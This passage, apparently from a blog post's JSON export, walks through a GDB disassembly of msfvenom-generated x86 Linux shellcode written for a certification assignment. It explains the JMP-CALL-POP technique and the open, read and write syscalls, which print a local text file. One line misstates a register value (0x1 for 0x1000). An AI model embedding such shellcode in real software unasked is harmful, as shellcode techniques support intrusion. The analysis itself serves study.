  das\n   0x0040407e &lt;+62>:    jb     0x4040ef\n   0x00404080 &lt;+64>:    outs   dx,DWORD PTR ds:[esi]\n   0x00404081 &lt;+65>:    je     0x4040b2\n   0x00404083 &lt;+67>:    jae    0x4040f1\n   0x00404085 &lt;+69>:    popa\n   0x00404086 &lt;+70>:    gs das\n   0x00404088 &lt;+72>:    popa\n   0x00404089 &lt;+73>:    jae    0x4040fe\n   0x0040408b &lt;+75>:    imul   esp,DWORD PTR [edi+0x6e],0x746e656d\n   0x00404092 &lt;+82>:    jae    0x4040c3\n   0x00404094 &lt;+84>:    popa\n   0x00404095 &lt;+85>:    jae    0x40410a\n   0x00404097 &lt;+87>:    imul   esp,DWORD PTR [edi+0x6e],0x746e656d\n   0x0040409e &lt;+94>:    sub    eax,0x65722f35\n   0x004040a3 &lt;+99>:    popa\n   0x004040a4 &lt;+100>:   imul   bp,WORD PTR fs:[ebp+eiz*2+0x2e],0x7874\n   0x004040ac &lt;+108>:   je     0x4040ae &lt;code+110>\n   0x004040ae &lt;+110>:   add    BYTE PTR [eax],al\nEnd of assembler dump.\n<\/pre>\n\n\n\n<p>Let&#8217;s break this into sections.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">Dump of assembler code for function code:\n=> 0x00404040 &lt;+0>:     jmp    0x404078 &lt;code+56>\n   0x00404042 &lt;+2>:     mov    eax,0x5\n   0x00404047 &lt;+7>:     pop    ebx\n   0x00404048 &lt;+8>:     xor    ecx,ecx\n   0x0040404a &lt;+10>:    int    0x80\n   0x0040404c &lt;+12>:    mov    ebx,eax\n   0x0040404e &lt;+14>:    mov    eax,0x3\n   0x00404053 &lt;+19>:    mov    edi,esp\n   0x00404055 &lt;+21>:    mov    ecx,edi\n   0x00404057 &lt;+23>:    mov    edx,0x1000\n   0x0040405c &lt;+28>:    int    0x80\n   0x0040405e &lt;+30>:    mov    edx,eax\n   0x00404060 &lt;+32>:    mov    eax,0x4\n   0x00404065 &lt;+37>:    mov    ebx,0x1\n   0x0040406a &lt;+42>:    int    0x80\n   0x0040406c &lt;+44>:    mov    eax,0x1\n   0x00404071 &lt;+49>:    mov    ebx,0x0\n   0x00404076 &lt;+54>:    int    0x80\n   0x00404078 &lt;+56>:    call   0x404042 &lt;code+2>\n   0x0040407e &lt;+62>:    jb     0x4040ef\n<\/pre>\n\n\n\n<p>Here is how the first syscall unfolds. The first one is classic JMP-CALL-POP technique. The value is popped in EBX register. If you evaluate the value closely, it is nothing but the file that needs to be read.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">(gdb) x\/s 0x0040407e\n0x40407e &lt;code+62>:     \"root\/slae\/assignments\/assignment-5\/readfile.txt\"\n<\/pre>\n\n\n\n<p>Also, EAX is populated with <em>0x5<\/em>, which is the syscall number for <em>open <\/em>sycall. Post that, ECX is XORed to NULL. The man reference of <em>open <\/em>syscall is shown below:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">int open(const char *pathname, int flags)<\/pre>\n\n\n\n<p>Comparing this to the values populated in the registers, we can confirm that EAX is loaded with the syscall number. EBX has pointer to the pathname and the <em>flags<\/em> is set to 0 using ECX. Post this, the open syscall is initiated and our file is opened. <\/p>\n\n\n\n<p>Now, let&#8217;s look at the second syscall.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">   0x0040404c &lt;+12>:    mov    ebx,eax\n   0x0040404e &lt;+14>:    mov    eax,0x3\n   0x00404053 &lt;+19>:    mov    edi,esp\n   0x00404055 &lt;+21>:    mov    ecx,edi\n   0x00404057 &lt;+23>:    mov    edx,0x1000\n   0x0040405c &lt;+28>:    int    0x80\n<\/pre>\n\n\n\n<p>Looking at the value 0x3 being loaded in the EAX, register, we know that this is the <em>read <\/em>syscall. EBX is first loaded with value in EAX, which the file descriptor returned from the open syscall. The man reference of read syscall is as follows:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"> ssize_t read(int fd, void *buf, size_t count);\n<\/pre>\n\n\n\n<p>We already have EAX populated with the sycall number and EBX with fd, which is the file descriptor of the file to be read. The next instructions moves the value of ESP in ECX, which is the second argument &#8211; <em>*buf<\/em>. This points to a valid stack value to read the file into the buffer. In the next instruction, EDX is set to 0x1 for the third argument &#8211; <em>count<\/em>, which translates to 4096 in decimal. After this, the syscall is invoked.<\/p>\n\n\n\n<p>Our next step is to write the output back. In this case, the output is written on the screen. Let&#8217;s look at the next syscall to demystify this.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">   0x0040405e &lt;+30>:    mov    edx,eax\n   0x00404060 &lt;+32>:    mov    eax,0x4\n   0x00404065 &lt;+37>:    mov    ebx,0x1\n   0x0040406a &lt;+42>:    int    0x80\n   0x0040406c &lt;+44>:    mov    eax,0x1\n   0x00404071 &lt;+49>:    mov    ebx,0x0\n   0x00404076 &lt;+54>:    int    0x80\n<\/pre>\n\n\n\n<p>As we see that EAX is loaded with 0x4, which is the <em>write <\/em>syscall, let&#8217;s look at man reference of this syscall:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">ssize_t write(int fd, const void *buf, size_t count);<\/pre>\n\n\n\n<p>The first instruction moves value of EAX, which is the return value of last syscall in EDX. This basically populates EDX, which should hold the value of argument <em>count <\/em>with the number of bytes read (returned from last syscall).<\/p>\n\n\n\n<p>Then EBX is loaded with 1, which is the value of file descriptor <em>fd. <\/em>That means that the output will be written to STDOUT. Post this, the sycall is invoked and we see the output on the screen.<\/p>\n\n\n\n<p>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: <a href=\"https:\/\/www.pentesteracademy.com\/course?id=3\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.pentesteracademy.com\/course?id=3<\/a><\/p>\n\n\n\n<p>Student ID: PA-16521<\/p>\n\n\n\n<p>The code is also stored at <a href=\"https:\/\/github.com\/mosunit\/SLAE32\/tree\/master\/Assignment-5\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub<\/a>. Thanks for reading !<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In the previous posts, we have looked at creating shellcodes. In this post, I will cover analyses of 3 shellcodes generated using msfvenom. All the&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20,4,21,25],"tags":[],"class_list":["post-773","post","type-post","status-publish","format-standard","hentry","category-assembly","category-av-evasion","category-shellcoding","category-slae"],"_links":{"self":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/773","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=773"}],"version-history":[{"count":59,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/773\/revisions"}],"predecessor-version":[{"id":848,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/773\/revisions\/848"}],"wp:attachment":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=773"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=773"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=773"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}